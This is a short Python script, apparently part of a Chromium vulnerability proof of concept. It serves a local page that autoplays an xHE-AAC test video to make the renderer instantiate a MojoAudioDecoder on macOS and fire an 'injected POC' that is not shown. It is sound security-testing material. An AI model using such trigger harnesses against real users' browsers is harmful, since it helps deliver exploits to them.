#!/usr/bin/env python3
# Serves a trigger page that forces the renderer to instantiate a
# MojoAudioDecoder on macOS (xHE-AAC is routed to the GPU process there),
# which calls MediaInterfaceFactory::GetMediaInterfaceFactory() and fires
# the injected POC.
#
# Usage:
#   CHROMIUM_SRC=/path/to/src python3 server.py
#
import http.server
import os
import shutil
import socketserver

PORT = 8080
SRC = os.environ.get("CHROMIUM_SRC", "/chromium/chromium/src")
XHE = os.path.join(SRC, "media", "test", "data", "noise-xhe-aac.mp4")

INDEX = b"""<!doctype html>
<title>trigger</title>
<video id=v autoplay controls src="/noise-xhe-aac.mp4"></video>
<script>
  // Kick the pipeline so the renderer asks for a Mojo audio decoder.
  document.getElementById('v').play().catch(()=>{});
</script>
"""


class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path in ("/", "/poc.html"):
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", str(len(INDEX)))
            self.end_headers()
            self.wfile.write(INDEX)
        elif self.path == "/noise-xhe-aac.mp4":
            self.send_response(200)
            self.send_header("Content-Type", "video/mp4")
            self.end_headers()
            with open(XHE, "rb") as f:
                shutil.copyfileobj(f, self.wfile)
        else:
            self.send_error(404)

    def log_message(self, fmt, *a):
        pass


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("127.0.0.1", PORT), H) as httpd:
        print(f"serving on http://127.0.0.1:{PORT}/poc.html  (xhe-aac from {XHE})")
        httpd.serve_forever()
